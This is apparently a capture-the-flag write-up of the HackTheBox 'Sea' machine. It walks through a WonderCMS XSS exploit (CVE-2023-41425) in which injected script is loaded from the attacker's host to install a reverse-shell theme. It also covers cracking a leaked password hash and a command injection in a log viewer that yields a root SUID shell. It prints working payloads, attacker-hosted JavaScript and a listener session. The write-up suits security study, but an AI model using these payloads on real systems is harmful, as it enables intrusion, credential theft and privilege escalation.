Summary
A simple box with two options to become www-data and a couple rabbit holes. Starts on a webapp running WonderCMS which is vulnerable to a CVE. The remnants of a github poc being run against the box exist, and can be used for a reverse shell. Alternatively the exploit can be stripped and an XSS payload can be sent through the contact form, which will GET and run javascript to install a new theme containing a reverse shell. The database file contains amay’s password. As amay port 8080 can be accessed through SSH tunneling. That service once intercepting its requests can be leveraged to inject commands that run as root, compromising the box.
Enumeration
nmap -p- 10.129.4.60 -Pn
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -sCV -p22,80 10.129.4.60
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80
dirsearch -u http://sea.htb -x 403
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/raccoon/_hacking/HackTheBox/6_Season/Sea/reports/http_sea.htb/_24-08-10_14-54-49.txt
Target: http://sea.htb/
[14:54:49] Starting:
[14:55:01] 200 - 1KB - /404
[14:55:27] 200 - 939B - /contact.php
[14:55:29] 301 - 228B - /data -> http://sea.htb/data/
[14:55:48] 301 - 232B - /messages -> http://sea.htb/messages/
[14:55:59] 301 - 231B - /plugins -> http://sea.htb/plugins/
[14:56:16] 301 - 230B - /themes -> http://sea.htb/themes/
I scanned those directories and found nothing. Onto the manual enumeration.
There’s a simple landing page, a how-to-participate page, and a contact form found on the latter of the two pages. Notable here the contact form has a website field so I naturally check if this is being curled or clicked.
I do see a GET request for TEST but after scanning I can’t seem to find where it was downloaded and stored if anywhere. I toss some basic cookie grabbing payloads and get the PHPSESSID cookie but that yielded no further foothold.
Looking into the source of the page there is a link relating to a theme.
<link rel="stylesheet" href="http://10.129.4.60/themes/bike/css/style.css">
I scan that new bike directory and find LICENSE, README.md, and version.
dirsearch -u http://sea.htb/themes/bike -r -x 403
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/raccoon/_hacking/HackTheBox/6_Season/Sea/reports/http_sea.htb/_themes_bike_24-08-10_15-35-38.txt
Target: http://sea.htb/
[15:35:38] Starting: themes/bike/
[15:35:50] 200 - 1KB - /themes/bike/404
[15:35:56] 200 - 1KB - /themes/bike/admin/home
[15:36:18] 301 - 239B - /themes/bike/css -> http://sea.htb/themes/bike/css/
Added to the queue: themes/bike/css/
[15:36:29] 200 - 1KB - /themes/bike/home
[15:36:30] 301 - 239B - /themes/bike/img -> http://sea.htb/themes/bike/img/
Added to the queue: themes/bike/img/
[15:36:35] 200 - 1KB - /themes/bike/LICENSE
[15:36:41] 500 - 0B - /themes/bike/mysql/admin/
[15:36:41] 500 - 0B - /themes/bike/mysql/db/
[15:36:41] 500 - 0B - /themes/bike/mysql/index.php
[15:36:51] 200 - 318B - /themes/bike/README.md
[15:36:57] 200 - 1KB - /themes/bike/sitecore/content/home
[15:37:01] 200 - 1KB - /themes/bike/sym/root/home/
Added to the queue: themes/bike/sym/root/home/
[15:37:08] 200 - 6B - /themes/bike/version
[15:37:08] 404 - 196B - /themes/bike/version/
The README leaks this is running WonderCMS, the version leaks this is 3.2.0 and sending out a search for those we see a CVE for XSS within this version of WonderCMS. The vulnerability is with the login URL so I checked if that URL is present in this webapp.
If you personally navigated around the page you will notice the way WonderCMS denotes what page to load is with the ?page= parameter. This can be seen by navigating to the “How to Participate” tab and reading the url of http://sea.htb/?page=how-to-participate. Deductively loginURL would exist as a page in this same scheme, and I head to http://sea.htb/?page=loginURL to verify this is vulnerable.
User as amay
Shell as www-data
CVE-2023-41425
I found this CVE-2023-41425 poc which should give a reverse shell when run. The exploit itself generates a payload to send the admin (through the contact form in this case) which has XSS to download a .js script and run it.
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.77:8000/xss.js"></script><form+action="
After running the script I setup my netcat aaaaand got nothing. The exploit did not work. I know it ought have worked given I know the version and CMS. I modified some parts of the code to make the raccoon theme and prepared the payloads but still nothing. I decide to check if the directory the exploit makes, revshell-main, even existed. And it did. I was hesitant as this could have been another user who placed this here, but after using it for a shell http://sea.htb/themes/revshell-main/rev.php?lport=7777&lhost=10.10.14.77 I checked the date the directory was made:
$ ls -l themes
total 8
drwxr-xr-x 4 www-data www-data 4096 Feb 22 02:54 bike
drwxr-xr-x 2 www-data www-data 4096 Jul 31 15:17 revshell-main
This box released August 10th. This was either a mistake or deliberate and was certainly not another player. If you want to know how to upload a theme for a foothold, check the final section where I give the 5 steps to do so.
database leak
Since I know there is an admin user looking at the websites within the contact form, I can conclude that admin must have a password. I go to check the /var/www/sea directory and find a database.js file.
$ cat data/database.js
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
"defaultPage": "home",
"login": "loginURL",
"forceLogout": false,
"forceHttps": false,
"saveChangesPopup": false,
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
"lastLogins": {
"2024\/07\/31 15:17:10": "127.0.0.1",
"2024\/07\/31 15:15:10": "127.0.0.1",
"2024\/07\/31 15:14:10": "127.0.0.1"
},
John can handle whatever that is I presume.
john hash --wordlist=/opt/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mychemicalromance (?)
1g 0:00:00:16 DONE (2024-08-10 21:19) 0.05966g/s 182.5p/s 182.5c/s 182.5C/s iamcool..memories
Use the "--show" option to display all of the cracked passwords reliably
Session completed
$ su amay
Password: mychemicalromance
id
uid=1000(amay) gid=1000(amay) groups=1000(amay)
cd ~
pwd
/home/amay
ls
user.txt
cat user.txt
1f554d4724930-------------------
Initially here I added a keypair but that is very unneeded as you can SSH in with the password we just found, effectively saving all our progress in the event of a reset.
Rabbit hole 1
The user geo here is completely unused. There aren’t any processes you can read from them, no files by the group or user geo. Trying to scrape /proc for any info is a wild waste of time.
Root
Rabbit hole 2
The catalyst for this rabbit hole ends up being 2 parts. Within netstat there is an unfamiliar port hosted locally, and if you run something like linpeas you will see a debugging option set within some process.
amay@sea:~$ netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:37827 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
16880 sed-Es,jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port,&,g
If you do end up searching the “–remote-debugging-port” you will find it corresponds to chrome. There is a long list of devtools and related info so I toss a curl to see if it responds.
amay@sea:~$ curl http://127.0.0.1:37827/json/protocol
{
"version": {
"major": "1",
"minor": "3"
},
"domains": [
{
"domain": "Accessibility",
"experimental": true,
"dependencies": [
"DOM"
],
"types": [
{
"id": "AXNodeId",
"description": "Unique accessibility node identifier.",
"type": "string"
...
Now here I have the ability to SSH tunnel and setup my chrome to check devices at the debugged port. After doing that I find nothing. I dug around a little big longer but ultimately decided to check out port 8080 instead.
ssh -i sea amay@sea.htb -L 37827:localhost:37827
Command Injection
ssh -i sea amay@sea.htb -L 7777:localhost:8080
It is important here that whatever your proxy port for your interceptor is set to is not overlapping with the port you set this SSH tunnel to locally.
The functionality of this service is to read logs, and clear logs, and two other buttons that aren’t useful to me. The logs in question here are /var/log/auth.log which corresponds to SSH (I think), and /var/log/apache2/access.log and that is for the hosted sea.htb webserver. When trying to access a resource that does not exist it will log it into this file.
I ran dirsearch initially to scan for resources so when I analyzed the access.log file there was an abundance of logs.
What I do here is within the User-Agent:
try to inject some basic html headers, they inject successfully. Then I try an XSS prompt, which also works. Next I try some php and it seems there is some filtering taking place here.
Additionally after more testing I found some characters have a \ prepend them to sterilize anything they could do (\ and “). I could not find a way to smuggle a php payload into this application. I turned my head to intercepting the request in burp.
POST / HTTP/1.1
Host: localhost:7777
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://localhost:7777
DNT: 1
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: close
Referer: http://localhost:7777/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log&analyze_log=
The data being sent is the strict log location. The other parameter of analyze_log is set only to denote the function to take place, the other buttons do the same with different parameters. I give /etc/shadow a read and to my surprise it finds some of the file “suspicious”.
Clearly from this point I can determine there is a cat-like command and then some filtering, perhaps I can remove the filtering in addition to adding my own commands.
log_file=/etc/shadow%26%26touch+/tmp/test+&analyze_log=
amay@sea:~$ ls /tmp
snap-private-tmp
systemd-private-1354103252f245d7a9810109ccd84cc5-apache2.service-v9RGOi
systemd-private-1354103252f245d7a9810109ccd84cc5-ModemManager.service-rdmpMi
systemd-private-1354103252f245d7a9810109ccd84cc5-systemd-logind.service-B3LHkg
systemd-private-1354103252f245d7a9810109ccd84cc5-systemd-resolved.service-A0bGGi
systemd-private-1354103252f245d7a9810109ccd84cc5-systemd-timesyncd.service-irBWOi
systemd-private-1354103252f245d7a9810109ccd84cc5-upower.service-yzuBNi
test
vmware-root_787-4290625459
Looks like we are a go for the command injection. Simplest way to get root here is copy /bin/bash then make it an SUID.
log_file=/etc/shadow%26%26cp+/bin/bash+/tmp/bash+%26%26+chmod+u%2bs+/tmp/bash+&analyze_log=
amay@sea:~$ ls -l /tmp/bash
-rwsr-xr-x 1 root root 1183448 Aug 13 03:54 /tmp/bash
amay@sea:~$ /tmp/bash -p
bash-5.0# cat /root/root.txt
9f33dbc73dc06c------------------
Revisiting WonderCMS
Uploading a revshell
I did some testing to figure out what would have worked if I didn’t find the /revshell-main/rev.php revshell. In short you need to grab the token (not stored as a cookie) to use the installModule function to install a new theme. This token needs to be used shortly after grabbing it as the admin seemingly relogs on every cycle. To grab this token you use the XSS defined from CVE-2023-41425 and the contact portal to get the admin to download a hosted .js file with the token grabbing and module installing payload.
Below is how to get the XSS CVE into a reverse shell with the environment given.
Step 1
Setup the javascript file. The only requirements are it is a zip file and you DO NOT make the directoryName=bike. This will make the service completely unusable.
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = "http://sea.htb/?installModule=http://10.10.14.10:8081/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
Step 2
Create your zip file. First make a directory which is where your shell will be uploaded post exploit. Then place a reverse shell within it. Here is the one the exploit I found uses. It allow you to set parameters for lhost and lport for a modular shell. Then zip the directory and everything inside.
mkdir raccoon
nano raccoon/rev.php
zip main.zip raccoon*
Step 3
Start a webserver from the same directory as your .js and zip files.
python3 -m http.server 8081
Step 4
Send the payload through the contact form. I had some issues getting the script to overwrite with the same name so you will see I use raccoon2.js, you should see it grabbing your js file and your zip file.
Website Field Payload:
http://sea.htb/?page=index.php?page=loginURL?"></form><script+src="http://10.10.14.10:8081/raccoon2.js"></script><form+action="
Expected Response on Webserver:
10.129.6.216 - - [13/Aug/2024 00:53:05] "GET /raccoon2.js HTTP/1.1" 200 -
10.129.6.216 - - [13/Aug/2024 00:53:14] "GET /main.zip HTTP/1.1" 200 -
10.129.6.216 - - [13/Aug/2024 00:53:14] "GET /main.zip HTTP/1.1" 200 -
10.129.6.216 - - [13/Aug/2024 00:53:14] "GET /main.zip HTTP/1.1" 200 -
10.129.6.216 - - [13/Aug/2024 00:53:14] "GET /main.zip HTTP/1.1" 200 -
Step 5
Navigate to http://sea.htb/themes/raccoon/rev.php?lport=7777&lhost=10.10.14.10 (obviously changing your port and IP) and get an easy shell.
nc -nvlp 7777
Listening on 0.0.0.0 7777
Connection received on 10.129.6.216 52832
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
05:54:08 up 2:58, 0 users, load average: 1.21, 1.18, 1.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)